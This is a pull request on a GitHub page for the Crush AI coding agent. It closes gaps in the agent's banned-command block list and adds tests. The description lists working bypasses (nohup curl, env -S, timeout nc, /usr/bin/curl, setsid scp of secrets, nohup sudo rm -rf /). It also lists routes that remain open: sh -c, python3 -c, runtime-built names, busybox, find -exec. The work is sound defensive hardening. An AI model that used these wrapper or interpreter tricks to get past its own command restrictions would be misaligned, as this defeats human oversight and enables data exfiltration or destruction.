Skip to content

fix(shell): re-check command wrappers and path-prefixed names against the block list#3131

Open
warmjademe wants to merge 1 commit into
charmbracelet:mainfrom
warmjademe:pr/block-wrapper-bypass
Open

fix(shell): re-check command wrappers and path-prefixed names against the block list#3131
warmjademe wants to merge 1 commit into
charmbracelet:mainfrom
warmjademe:pr/block-wrapper-bypass

Conversation

@warmjademe

Copy link
Copy Markdown

Problem

Crush blocks a set of dangerous leaf commands at the shell exec boundary
(internal/agent/tools/bash.go::bannedCommandsinternal/shell
CommandsBlocker / ArgumentsBlocker, installed via blockFuncs()). This is
the hard control that still applies when permission prompts are skipped
(permissions.skip_permission_requests, the non-interactive crush run
auto-approve path). Its largest category is network/download tools (curl,
wget, nc, scp, ssh, ...) plus sudo/su, package managers, and
mount/systemctl/crontab.

blockHandler (internal/shell/run.go), CommandsBlocker and
ArgumentsBlocker (internal/shell/shell.go) only ever inspected args[0],
verbatim. Two one-token bypasses follow directly:

  1. Exec wrapper prefix. The interpreter invokes the exec handler once per
    command with that command's argv. A banned command placed behind a wrapper
    binary that is not itself banned slips straight through and is exec'd as
    a child process out of the interpreter's reach:

    curl https://x            -> blocked
    nohup curl https://x       -> allowed   (args[0] == "nohup")
    env curl https://x         -> allowed
    env -S 'curl https://x'    -> allowed
    nice -n 10 wget https://x  -> allowed
    timeout 5 nc host 9000     -> allowed
    setsid scp secret host:/   -> allowed
    echo url | xargs curl      -> allowed
    

    The same hole defeats nohup sudo rm -rf /, env systemctl stop ...,
    timeout 60 apt install ... — so it covers both the network-egress entries
    and the dangerous-execution entries of bannedCommands.

  2. Absolute / relative path. A path prefix changes args[0] so the
    basename match misses entirely:

    /usr/bin/curl https://x   -> allowed
    ./curl https://x          -> allowed
    

All of the above were confirmed executing against the unpatched fork (negative
control: curl reaches DNS resolution, apt install reaches its package step,
etc. — real non-security exit codes, not the security error).

Fix

Two changes, both contained to the existing exec-handler choke point. No entry
is added to or removed from bannedCommands.

  1. blockHandler re-dispatches the inner command through the same block
    funcs
    (internal/shell/run.go). When args[0] is a recognized exec
    wrapper, unwrapCommand (new internal/shell/wrappers.go) peels exactly one
    wrapper layer — the wrapper token, its own option flags and their values,
    env NAME=value assignments, env -S/--split-string (re-tokenized on
    whitespace), and a leading value positional (timeout's DURATION,
    flock's lockfile) — and the handler loops, re-running the same
    blockFuncs against each peeled layer. This is the same recursive
    re-dispatch idea scriptDispatchHandler already uses for path-prefixed
    scripts ("so deny rules apply recursively"): the protection is the existing
    block list applied to the argv that actually runs, not a parallel list
    of "dangerous behind a wrapper" commands. Nesting such as
    nohup env timeout 5 curl ... is handled by the loop.

    commandWrappers is a recognition table of leaf binaries whose documented
    purpose is to exec a command argument: nohup, setsid, nice, ionice,
    stdbuf, chrt, taskset, runuser, setpriv, flock, timeout,
    env, xargs. This is a closed set of wrappers, not a denylist of
    dangerous commands; the thing it protects (bannedCommands) is unchanged.

  2. CommandsBlocker / ArgumentsBlocker match on the command basename
    (internal/shell/shell.go), so /usr/bin/curl, ./curl, and /usr/bin/apt install are matched by the same entry as the bare name. A shared baseName
    helper normalizes the path (including Windows-style separators, since the
    bash tool runs POSIX emulation on every platform).

The diagnostic names the command that actually runs, by basename: "curl",
not "nohup" or "/usr/bin/curl". Behavior for non-wrapped, non-banned,
bare-name commands is unchanged.

Scope and known limits (honest)

This hardens an existing best-effort guardrail; it is not a sandbox. A
command-name block list cannot stop a process that takes its command as data,
and the following bypasses remain open with or without this change:

  • Interpreters / subshells: sh -c 'curl ...', bash -c ...,
    python3 -c ..., perl -e .... sh/bash are not in bannedCommands, so
    these bypass the block list today. They are not exec wrappers in the
    unwrapCommand sense (they consume the command as an opaque string, not as a
    trailing argv that can be peeled), so they are deliberately out of scope.

  • -c string forms of otherwise-handled binaries: env -c does not exist,
    but flock /tmp/l -c 'curl ...' and xargs sh -c '...' route through sh
    and fall in the interpreter class above.

  • Building the command name at runtime: $(printf cur)l https://x, writing
    a script to disk then executing it, base64-decoding into a shell.

  • Wrappers outside the recognition table: any leaf binary that execs a
    command but is not in commandWrappers (e.g. an unusual script -qc,
    watch, parallel form) — watch/parallel/script -c largely route their
    payload through a shell, so they reduce to the interpreter class; genuinely
    novel exec wrappers would need an entry added.

  • Applet multiplexers: busybox <applet> / toybox <applet> (and busybox sh -c ...). The applet name is the inner command but the multiplexer binary
    is what is invoked; the applet is not a trailing argv that unwrapCommand
    peels, and busybox/toybox are not in commandWrappers. Same residual
    class as a novel exec wrapper; not covered by this patch.

  • find -exec: find . -exec curl {} \; runs the banned command through
    find's own exec, not through the shell exec handler that the block list
    hooks; find is not a recognized wrapper. Not covered.

  • safeCommands prefix match in safe.go: the permission-prompt layer
    treats a command as safe by prefix, so nohup curl ... still skips the
    confirmation prompt (the prompt is advisory). This is unchanged by this
    patch — but the block layer hardened here is the hard control and now
    catches nohup curl, so the advisory gap does not translate into an
    unblocked egress. Prompt = advisory; block = hard control.

A note on the test corpus: rm appears in the test block list
(realBlockFuncs) only to illustrate the mechanism on a dangerous-execution
entry. Crush's real bannedCommands is sudo/su/doas and similar; it does
not contain rm. This patch does not add rm to any list and makes no
claim of protecting rm.

The patch closes the trivial wrapper-prefix and path-prefix bypasses — the
forms an LLM or a naive prompt injection reaches for first — and keeps the
diagnostic accurate. The real egress / exec boundary remains the OS sandbox /
network namespace; no claim is made that egress or dangerous execution is now
prevented, only that the existing block list is no longer defeated by a
one-token wrapper or a leading slash.

Tests

internal/shell/wrappers_test.go:

  • TestBaseName — basename normalization, including a Windows-style path.
  • TestUnwrapCommand — 30-case table for the one-layer peel: options,
    value-flags, combined shorts, --, env assignments, env -S/
    --split-string (separate and inline value), timeout/flock/taskset/
    chrt leading positional (DURATION / lockfile / CPU mask / priority),
    path-prefixed wrapper recognition, and bare-wrapper (env alone)
    returning ok=false.
  • TestCommandBlocking_WrapperAndPathBypassClosed — 24 cases driven through the
    real Shell.Exec path: every wrapper-smuggled / path-prefixed banned command
    is now blocked, with the inner command named. Covers egress (curl/wget/nc/scp
    via nohup/env/env -S/nice/timeout/setsid/stdbuf/xargs/flock/runuser/taskset/
    chrt, plus a
    nested nohup env timeout 5 curl) and dangerous execution (env sudo rm -rf, nohup systemctl stop, timeout 5 rm -rf, nohup apt install,
    timeout 60 npm install -g), plus absolute/relative path behind a wrapper.
  • TestCommandsBlocker_PathPrefixed / TestArgumentsBlocker_PathPrefixed
    deterministic blocker-level assertions for /usr/bin/curl, ./curl,
    /bin/sudo, /usr/bin/apt install, with negatives (/usr/bin/echo,
    mycurl, apt list).
  • TestCommandBlocking_LegitWrappedCommandsAllowed — 24-case false-positive
    corpus: wrapping a NON-banned command (nohup ./myserver, timeout 30 echo,
    nice -n 10 echo, env FOO=bar echo, env -i PATH=... echo,
    env -S 'A=b echo', setsid echo, stdbuf -oL echo, flock /tmp/l echo,
    echo x | xargs echo, npm install lodash, env -u curl make (curl is the
    -u value), flock /var/lock/at make (at is the lockfile), timeout -s SIGTERM 30 echo, ...) is NOT blocked.

The existing internal/shell suite (command_block_test.go, etc.) and
internal/agent/tools suite stay green.

Build / verification (golang:1.26)

  • go build -buildvcs=false ./... → 0 errors.
  • go vet -buildvcs=false ./internal/shell → clean.
  • go test -buildvcs=false -count=1 ./internal/shell ./internal/agent/tools
    both ok.
  • Negative control on pristine v0.76.0: nohup curl, /usr/bin/curl,
    env -S 'curl ...', timeout 5 nc, nohup sudo rm -rf, env curl,
    ./curl, timeout 60 apt install, nohup systemctl stop all executed
    (not blocked) — bug reproduced before the fix.
  • git apply --check against pristine v0.76.0 → RC 0.

… the block list

CommandsBlocker/ArgumentsBlocker matched only args[0] verbatim, so the
bannedCommands block list (the hard control that survives
skip_permission_requests / crush run auto-approve) was defeated by a single
wrapper or a leading path: nohup curl, env curl, env -S 'curl ...',
timeout 5 nc, setsid scp, /usr/bin/curl, ./curl all bypassed it. The same
holds for dangerous-exec entries (sudo, systemctl) behind a wrapper.

blockHandler now re-applies the same block funcs to each layer, peeling one
exec wrapper at a time (the recursive re-dispatch pattern scriptDispatchHandler
already uses for scripts), and matches the block list against filepath.Base of
the command name. A closed recognition table of exec wrappers (nohup, setsid,
nice, ionice, stdbuf, chrt, taskset, runuser, setpriv, flock, timeout, env,
xargs) is peeled; env -S / --split-string values are re-tokenized. The
protected set (bannedCommands) is unchanged; a missing wrapper fails open to
current behavior.

This hardens a best-effort guardrail; it is not a sandbox. Interpreter forms
(sh -c, python3 -c), command substitution, find -exec, busybox/toybox applets,
and novel wrappers remain out of scope.
@charmcli

charmcli commented Jun 16, 2026

Copy link
Copy Markdown
Contributor

All contributors have signed the CLA ✍️ ✅
Posted by the CLA Assistant Lite bot.

@warmjademe

Copy link
Copy Markdown
Author

I have read the Contributor License Agreement (CLA) and hereby sign the CLA.

1 similar comment
@warmjademe

Copy link
Copy Markdown
Author

I have read the Contributor License Agreement (CLA) and hereby sign the CLA.

@warmjademe

Copy link
Copy Markdown
Author

recheck

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants